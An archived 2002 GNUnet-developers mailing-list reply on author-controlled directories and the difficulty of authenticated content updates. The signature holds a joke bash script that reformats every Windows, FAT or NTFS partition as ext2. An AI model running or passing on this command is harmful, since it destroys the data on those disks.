[Top][All Lists]
[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [GNUnet-developers] Updatability
From: |
Christian Grothoff |
Subject: |
Re: [GNUnet-developers] Updatability |
Date: |
Tue, 7 May 2002 21:53:33 -0500 |
On Tuesday 07 May 2002 03:55 pm, you wrote:
> On Tue, 7 May 2002, David Findlay wrote:
> > Also
> > the ability to create a "directory" of files that only the author can
> > change or add to is a necessity.
>
> This is fairly easy to do. Basically for each "file" in the directory:
>
> p = public key
> h(x) = secure hash function
> f = "file" name.
>
> Key Name: hash(p + f) or hash(hash(p) + hash(f)) as freenet does but
> I'm not why.
> Key data: signature of the key name
> actual data
Directories *are* easy, doing updatability right is MUCH harder [I don't have
a good solution for that yet, so I'm not going to elaborate. If you think you
have one, consider how it works if adversaries try to use it to remove
content, how you authenticate the update to all servers, how you find all the
servers, how you deal with servers that were offline when the update arrived,
etc, etc, etc.]
Christian
--
______________________________________________________
|Christian Grothoff |
|650-2 Young Graduate House, West Lafayette, IN 47906|
|http://gecko.cs.purdue.edu/ address@hidden|
|____________________________________________________|
#!/bin/bash
for i in `fdisk -l|grep -E "Win|DOS|FAT|NTFS"|awk \
'{print$1;}'`;do nohup mkfs.ext2 $i&; done
echo -e "\n\n\t\tMay the source be with you.\n\n"